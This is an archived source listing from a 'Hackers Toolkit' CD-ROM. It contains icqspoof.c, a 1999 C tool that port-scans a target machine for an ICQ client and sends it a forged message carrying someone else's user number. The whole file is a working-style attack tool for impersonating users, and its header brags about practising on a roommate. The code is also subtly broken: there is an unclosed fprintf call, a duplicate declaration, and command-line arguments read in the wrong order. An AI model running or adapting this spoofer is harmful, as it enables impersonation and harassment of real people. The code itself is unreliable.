home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / ICQ / unix / icqspoof.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  5KB  |  168 lines

  1. /* icqspoof.c -
  2.      *
  3.      * Concept, Protocol Analysis and Coding: Seth McGann
  4.      * Some functions dealing with socket scanning: icqflood.c by enkil^ and irQ
  5.      * With help from my roomate (target practice)
  6.      * And yes, this still works with ICQ 98. Coming soon: Chat and File Spoofing
  7.      *
  8.      */
  9.  
  10.     #include <stdio.h>
  11.     #include <string.h>
  12.     #include <sys/types.h>
  13.     #include <sys/socket.h>
  14.     #include <netinet/in.h>
  15.     #include <netdb.h>
  16.     #include <arpa/inet.h>
  17.     #include <string.h>
  18.  
  19.     int main(argc, argv)
  20.     int argc;
  21.     char *argv[];
  22.     {
  23.       struct sockaddr_in sin;
  24.             int sock,i,x,y;
  25.             unsigned long uin;
  26.             int Port;
  27.  
  28.       char buffer[16];
  29.       int connected = 1;
  30.       typedef struct icq_prot {
  31.       unsigned char magicNum[2];
  32.       unsigned char UIN[4];
  33.       unsigned char unknown[4];
  34.       unsigned char unknown2[2];
  35.       unsigned char length[2];
  36.       unsigned char strng[256];
  37.       } icq_prot;
  38.       icq_prot sendMessage;
  39.       unsigned long temp;
  40.       unsigned char bigguy[1024];
  41.       if (argc != 6) {
  42.         fprintf(stderr,"Usage:  icqspoof ip SpoofedUIN message startport
  43.     endport\n";
  44.  
  45.         exit(1);
  46.       }
  47.       Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5]));
  48.       if (Port == -1) {
  49.                     printf("No ICQ Port Found =(\n");
  50.                     return;
  51.       }
  52.  
  53.       sendMessage.magicNum[0]=0x2e;
  54.       sendMessage.magicNum[1]=0x0;
  55.       sendMessage.unknown[0]=0x04;
  56.       sendMessage.unknown[1]=0x01;
  57.       sendMessage.unknown[2]=0x0F;
  58.       sendMessage.unknown[3]=0x0;
  59.       sendMessage.unknown2[0]=0x01;
  60.       sendMessage.unknown2[1]=0x0;
  61.       temp=atol(argv[3]);
  62.       sendMessage.UIN[0]=temp & 0xFF;
  63.       sendMessage.UIN[1]=(temp >> 8) & 0xFF;
  64.       sendMessage.UIN[2]=(temp >> 16) & 0xFF;
  65.       sendMessage.UIN[3]=0;
  66.       strncpy(sendMessage.strng,argv[4],256);
  67.       sendMessage.length[0]=strlen(sendMessage.strng)+1;
  68.       sendMessage.length[1]=0;
  69.  
  70.       if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
  71.                             printf("Error: Unable to creat socket, Exiting.\n");
  72.                             exit(1);
  73.                     }
  74.       sin.sin_family = AF_INET;
  75.                     sin.sin_addr.s_addr = inet_addr(argv[1]);
  76.                     sin.sin_port = htons(Port);
  77.  
  78.        if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
  79.                             printf("Error Connecting to Socket\n");
  80.                             return;
  81.        }
  82.  
  83.  
  84.  
  85.       x=20;
  86.       bigguy[0]=sendMessage.magicNum[0];
  87.       bigguy[1]=sendMessage.magicNum[1];
  88.       bigguy[2]=sendMessage.UIN[0];
  89.       bigguy[3]=sendMessage.UIN[1];
  90.       bigguy[4]=sendMessage.UIN[2];
  91.       bigguy[5]=sendMessage.UIN[3];
  92.       bigguy[6]=0x02;
  93.       bigguy[7]=0x00;
  94.       bigguy[8]=0xEE;
  95.       bigguy[9]=0x07;
  96.       bigguy[10]=0x00;
  97.       bigguy[11]=0x00;
  98.       bigguy[12]=sendMessage.UIN[0];
  99.       bigguy[13]=sendMessage.UIN[1];
  100.       bigguy[14]=sendMessage.UIN[2];
  101.       bigguy[15]=sendMessage.UIN[3];
  102.       bigguy[16]=0x01;
  103.       bigguy[17]=0x00;
  104.       bigguy[18]=sendMessage.length[0];
  105.       bigguy[19]=sendMessage.length[1];
  106.       for(i=0;i<sendMessage.length[0];i++)
  107.       bigguy[x++]=sendMessage.strng[i];
  108.       bigguy[x++]=0x82;
  109.       bigguy[x++]=0xD7;
  110.       bigguy[x++]=0xF3;
  111.       bigguy[x++]=0x20;
  112.       bigguy[x++]=0x82;
  113.       bigguy[x++]=0xD7;
  114.       bigguy[x++]=0xF3;
  115.       bigguy[x++]=0x20;
  116.       bigguy[x++]=0x09;
  117.       bigguy[x++]=0x04;
  118.       bigguy[x++]=0x00;
  119.       bigguy[x++]=0x00;
  120.       bigguy[x++]=0x04;
  121.       bigguy[x++]=0x00;
  122.       bigguy[x++]=0x00;
  123.       bigguy[x++]=0x10;
  124.       bigguy[x++]=0x01;
  125.       bigguy[x++]=0xEB;
  126.       bigguy[x++]=0xFF;
  127.       bigguy[x++]=0xFF;
  128.       bigguy[x++]=0xFF;
  129.       bigguy[x++]=0x02;
  130.       bigguy[x++]=0x00;
  131.       bigguy[x++]=0x0A;
  132.       bigguy[x++]=0x09;
  133.       bigguy[x++]=0x00;
  134.  
  135.       write(sock,bigguy,x-1);
  136.       printf("Done!\n");
  137.       close(sock);
  138.       return 0;
  139.     }
  140.  
  141.     int ScanPort(char *ipaddr, int StartIP, int EndIP) {
  142.             struct sockaddr_in sin;
  143.             int sock,x,y;
  144.             unsigned long uin;
  145.             unsigned long uin;
  146.             printf("Scanning Ports");
  147.             for (x=StartIP;x<=EndIP;++x) {
  148.                     if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
  149.                             printf("Error: Unable to connect\n");
  150.                             return -1;
  151.                     }
  152.                     sin.sin_family = AF_INET;
  153.                     sin.sin_addr.s_addr = inet_addr(ipaddr);
  154.                     sin.sin_port = htons(x);
  155.  
  156.                     if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {
  157.                             close(sock);
  158.                             printf("Port %d Open! Spoofing...\n",x);
  159.                             fflush(stdout);
  160.                             return x;
  161.                     }
  162.                     printf(".");
  163.                     fflush(stdout);
  164.             }
  165.             printf("\n");
  166.             return -1;
  167.     }
  168.